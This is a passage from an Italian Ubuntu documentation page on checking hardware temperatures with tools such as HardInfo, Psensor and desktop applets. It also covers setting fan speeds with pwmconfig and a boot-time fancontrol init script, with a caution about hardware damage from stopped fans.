    sostituendo /dev/nvme0n1 se differente. L'output sarà simile al seguente:

    temperature                             : 34 C (308 Kelvin)

HardInfo

Per l'installazione consultare il relativo paragrafo.

Per l'utilizzo del programma via terminale, digitare il comando:

hardinfo -rma devices.so | grep -A 10 Sensors

A seconda delle periferiche presenti nel computer e/o della loro tipologia, potrebbe essere necessario utilizzare l'opzione di grep con un valore superiore a 10 (ad esempio 40, 50 ecc.).

Interfaccia grafica

Diversi programmi con GUI per identificare le periferiche offrono anche la possibilità di visualizzarne le temperature. Consultare questa guida.

Psensor

Psensor permette di monitorare, oltre alle temperature, altre informazioni quali la velocità delle ventole, carico di CPU/GPU ecc.

  1. Installare il pacchetto psensor.

  2. Avviare Psensor.

  3. Nella colonna Grafico spuntare i sensori che si desidera monitorare.

  4. Per altre configurazioni selezionare il menu Psensor → Preferenze.

xensors

È un semplice programma in grado di visualizzare, in funzione di quali sensori sono presenti e attivati, valori quali temperatura o tensioni di CPU, scheda madre, schede di rete ecc.

Installare il pacchetto xsensor.
Dopo l'installazione sarà possibile avviare il programma.

HardInfo

HardInfo è in grado di visualizzare numerose informazioni sull'hardware e sul sistema operativo, di elencare dispositivi connessi, di eseguire benchmarks ecc.

  1. Installare il pacchetto psensor.

  2. Avviare System profiler and benchmark.

  3. Per il monitoraggio delle temperature, nella scheda a sinistra selezionare Sensors all'interno della sezione Devices.

Gnome Disks Utility

L'applicazione Dischi è in grado di visualizzare le temperature dei drive presenti all'interno del PC, se supportati. Per maggiori informazioni consultare la guida dedicata.

Plugin, indicatori, widget ecc.

Molti ambienti desktop offrono vari strumenti per monitorare le temperature. Di seguito ne vengono citati alcuni.

  • GNOME: sono disponibili diverse estensioni (Freon, Sensory Perception, system-monitor, Vitals ecc.). Cercare sul sito GNOME Extensions una compatibile con la versione di GNOME shell in uso.

  • KDE: sono disponibili diverse applet per monitorare le temperature. Cercare su questo sito una compatibile con la versione di Plasma in uso.

  • Xfce: è possibile installare il pacchetto xfce4-sensors-plugin. Fare riferimento alla pagina ufficiale del progetto per maggiori informazioni.

  • MATE: è possibile installare il pacchetto mate-sensors-applet. Fare riferimento alla pagina GitHub del progetto per maggiori informazioni.

  • Cinnamon: sono disponibili diverse applet ed estensioni per monitorare le temperature. Cercare su questo sito.

Conky

Conky è in grado di monitorare i sensori presenti sul proprio computer. Per maggiori informazioni consultare la guida dedicata.

Controllo delle ventole (20.04)

Come prerequisito, occorre installare fancontrol, come descritto in questo paragrafo.

Per controllare le ventole e la scheda madre, digitare nel terminale il seguente comando:

sudo pwmconfig

Le ventole verranno monitorate e sarà possibile modificarne la velocità. Nel caso in cui sia possibile il controllo totale, cioè fermare del tutto le ventole, è possibile creare un semplice script da lanciare all'avvio per un'ottimizzazione delle stesse.

L'arresto completo delle ventole può arrecare gravi danni all'hardware oppure, indirettamente, perdita di dati. Procedere con molta cautela.

  1. Creare con un editor di testo e con i privilegi di amministrazione il file /etc/init.d/fancontrol e aggiungere le seguenti righe:

    #!/bin/sh
    #
    # Fancontrol start script.
    #
    
    set -e
    
    # Defaults
    DAEMON=/usr/sbin/fancontrol
    PIDFILE=/var/run/fancontrol-pid
    PATH=/sbin:/bin:/usr/sbin:/usr/bin
    
    test -f $DAEMON || exit 0
    
    . /lib/lsb/init-functions
    
    
    case "$1" in
           start)
                   log_begin_msg "Starting fancontrol daemon..."
                   start-stop-daemon --start -o -q -m -b -p $PIDFILE -x $DAEMON
                   log_end_msg $?
                   ;;
           stop)
                   log_begin_msg "Stopping fancontrol daemon..."
                   start-stop-daemon --stop -o -q -p $PIDFILE
                   log_end_msg $?
                   ;;
           force-reload|restart)
                   sh $0 stop
                   sh $0 start
                   ;;
           *)
                   log_success_msg "Usage: /etc/init.d/fancontrol {start|stop|restart|force-reload}"
                   log_success_msg "  start - starts system-wide fancontrol service"
                   log_success_msg "  stop  - stops system-wide fancontrol service"
                   log_success_msg "  restart, force-reload - starts a new system-wide fancontrol service"
                   exit 1
                   ;;
    esac
    
    exit 0
  2. Rendere eseguibile lo script, digitando in un terminale il seguente comando:

    sudo chmod +x /etc/init.d/fancontrol
  3. Avviare lo script con il comando:

    /etc/init.d/fancontrol start

    Per interromperlo digitare il comando:

    /etc/init.d/fancontrol stop
  4. Se l'output non restituisce alcun errore, aprire il file /etc/rc.local con un editor di testo e i privilegi di amministrazione, quindi aggiungere la seguente riga:

    /etc/init.d/fancontrol start

    in modo da ottenere un codice simile al seguente:

    #!/bin/sh -e
    #
    # rc.local
    #
    # This script is executed at the end of each multiuser runlevel.
    # Make sure that the script will "exit 0" on success or any other
    # value on error.
    #
    # In order to enable or disable this script just change the execution
    # bits.
    #
    # By default this script does nothing.
    /etc/init.d/fancontrol start
    exit 0

Ulteriori risorse


CategoryHomepage